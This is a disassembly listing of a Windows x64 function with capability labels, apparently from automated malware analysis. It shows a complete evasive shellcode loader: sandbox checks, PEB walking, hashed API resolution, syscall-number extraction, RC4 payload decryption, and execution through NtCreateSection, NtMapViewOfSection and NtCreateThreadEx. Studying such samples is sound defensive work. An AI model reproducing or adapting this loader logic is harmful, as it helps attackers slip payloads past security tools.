Function at 0x140001160
Capabilities:
Access peb ldr_data
Check os version
Encrypt data using rc4 via systemfunction032
Get memory capacity
Get number of processors
Get system information on windows
Parse pe header
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
test rax, rax
je 0x1400014f5
cmp dword [rax + 0x118], 0xa
jne 0x1400014f5
mov rax, qword [rax + 0x18]
xorps xmm0, xmm0
mov rcx, qword [rax + 0x20]
mov rbx, qword [rcx]
lea rcx, [rbp - 0x20]
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp], 3
jb 0x140001304
xor r15d, r15d
mov qword [rbp - 0x60], 0x40
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r15
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
jne 0x14000122c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n_t____GlobalMemoryStatusEx_Failed_With_Error_:__d__n
call fcn.140001010
cmp dword [rbp - 0x58], 0x80000000
jbe 0x1400017ab
lea r9, [rsp + 0x60]
mov dword [rsp + 0x60], r15d
lea r8, [0x140001070]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
cmp dword [rsp + 0x60], r15d
je 0x140001304
mov rcx, qword [rbx + 0x20]
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400014f5
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400014f5
mov edi, dword [rax + rcx + 0x88]
add rdi, rcx
je 0x1400014f5
lea rax, [0x1400051d8]
mov dword [rsp + 0x78], 0x10
lea rsi, [0x1400050c0]
mov qword [rbp - 0x80], rax
lea rcx, str.Advapi32
mov qword [rsp + 0x68], rsi
mov dword [rsp + 0x7c], 0x10
mov dword [rsp + 0x60], 0x114
mov dword [rsp + 0x64], 0x114
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x60]
call rax
test eax, eax
je 0x14000130e
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400014fa
mov ecx, 0x60
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x70], 0x114
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
test rax, rax
je 0x1400017b2
mov ecx, 0x10
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x1400017b2
mov word [rax + 8], r15w
movabs rcx, 0x2329e81ac5d1497a
mov qword [rax], rcx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r14], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x1400017b2
mov word [rax + 8], r15w
movabs rcx, 0x2014d82f702e79d4
mov qword [rax], rcx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x10], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x1400017b2
mov word [rax + 8], r15w
movabs rcx, 0xbb4a946a27b93797
mov qword [rax], rcx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x20], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x1400017b2
mov word [rax + 8], r15w
movabs rcx, 0xf56ea80ef5031e7
mov qword [rax], rcx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x30], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x1400017b2
mov word [rax + 8], r15w
movabs rdx, 0x8866eb7e75145f1a
mov qword [rax], rdx
mov ecx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x1400017b2
mov word [rax + 8], r15w
movabs rcx, 0xce67f958e7fb4666
mov qword [rax], rcx
xor edx, edx
movups xmm0, xmmword [rax]
movups xmmword [r14 + 0x50], xmm0
mov r15, qword [rbx + 0x20]
movzx ebx, dx
mov r12d, dword [rdi + 0x1c]
mov r13d, dword [rdi + 0x20]
add r12, r15
mov ecx, dword [rdi + 0x24]
add r13, r15
add rcx, r15
mov qword [rsp + 0x60], rcx
cmp dword [rdi + 0x18], edx
jbe 0x1400015af
nop dword [rax + rax]
movzx eax, bx
mov r10, rdx
mov r9, r14
mov r11d, dword [r13 + rax*4]
movzx eax, word [rcx + rax*2]
add r11, r15
mov r8d, dword [r12 + rax*4]
add r8, r15
nop dword [rax]
movzx eax, byte [r11]
mov rdx, r11
movabs rcx, 0x76346734deadbeef
test eax, eax
je 0x1400014d2
nop word [rax + rax]
imul rcx, rcx, 0x21
lea rdx, [rdx + 1]
add rcx, rax
movzx eax, byte [rdx]
test eax, eax
jne 0x1400014c0
cmp rcx, qword [r9]
jne 0x140001585
xor eax, eax
nop dword [rax]
movzx ecx, ax
movzx edx, byte [rcx + r8]
cmp dl, 0xf
jne 0x140001527
cmp byte [rcx + r8 + 1], 5
jne 0x140001562
mov eax, 1
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.140001800
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
cmp dl, 0xc3
je 0x1400014f5
cmp dl, 0x4c
jne 0x140001562
cmp byte [rcx + r8 + 1], 0x8b
jne 0x140001562
cmp byte [rcx + r8 + 2], 0xd1
jne 0x140001562
movzx ecx, ax
cmp byte [rcx + r8 + 3], 0xb8
jne 0x140001562
movzx ecx, ax
cmp byte [rcx + r8 + 6], 0
jne 0x140001562
movzx ecx, ax
cmp byte [rcx + r8 + 7], 0
je 0x14000156a
inc ax
jmp 0x1400014e0
movzx ecx, ax
movzx edx, byte [rcx + r8 + 5]
movzx eax, byte [rcx + r8 + 4]
shl dx, 8
or dx, ax
mov word [r9 + 8], dx
inc r10
add r9, 0x10
cmp r10, 6
jl 0x1400014a0
mov rcx, qword [rsp + 0x60]
inc bx
movzx eax, bx
mov edx, 0
cmp eax, dword [rdi + 0x18]
jb 0x140001480
mov rbx, r14
mov edi, 6
nop word [rax + rax]
mov rdx, qword [rbx]
lea rcx, str.Value:__llu_n
call fcn.140001010
movzx edx, word [rbx + 8]
lea rcx, str.Value:__llu_n
call fcn.140001010
lea rbx, [rbx + 0x10]
sub rdi, 1
jne 0x1400015c0
movzx ecx, word [r14 + 8]
call fcn.1400017d0
mov qword [rsp + 0x30], rdi
lea r9, [rbp - 0x70]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rsp + 0x70]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xf001f
call fcn.1400017e1
test eax, eax
je 0x140001630
mov edx, eax
lea rcx, str.____NtCreateSection_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
movzx ecx, word [r14 + 0x18]
mov qword [rsp + 0x60], rdi
call fcn.1400017d0
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x68]
mov dword [rsp + 0x48], 0x40
lea r8, [rsp + 0x60]
mov qword [rsp + 0x40], rdi
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov rdx, 0xffffffffffffffff
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call fcn.1400017e1
test eax, eax
je 0x140001697
mov edx, eax
lea rcx, str.____NtMapViewOfSection_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
mov rbx, rdi
jmp 0x14000169c
mov rbx, qword [rsp + 0x60]
mov rcx, rbx
mov eax, 2
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rsi]
lea rsi, [rsi + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rsi - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rsi - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rsi - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rsi - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rsi - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rsi - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rsi - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x1400016a4
movups xmm0, xmmword [rsi]
movups xmmword [rcx], xmm0
mov eax, dword [rsi + 0x10]
mov dword [rcx + 0x10], eax
movzx ecx, word [r14 + 0x48]
call fcn.1400017d0
mov qword [rsp + 0x50], rdi
lea rcx, [rbp - 0x78]
mov qword [rsp + 0x48], rdi
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x40], rdi
xor r8d, r8d
mov qword [rsp + 0x38], rdi
mov edx, 0x1fffff
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rbx
call fcn.1400017e1
test eax, eax
je 0x14000175c
mov edx, eax
lea rcx, str.____NtCreateThreadEx_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x140001768
lea rcx, str.____NtCreateThreadEx_Success
call fcn.140001010
movzx ecx, word [r14 + 0x58]
call fcn.1400017d0
mov rcx, qword [rsp + 0x70]
call fcn.1400017e1
test eax, eax
je 0x140001790
mov edx, eax
lea rcx, str.____NTClose_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x14000179c
lea rcx, str.____NTClose_Success
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
jmp 0x1400014fa
lea rcx, [0x140003310]
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3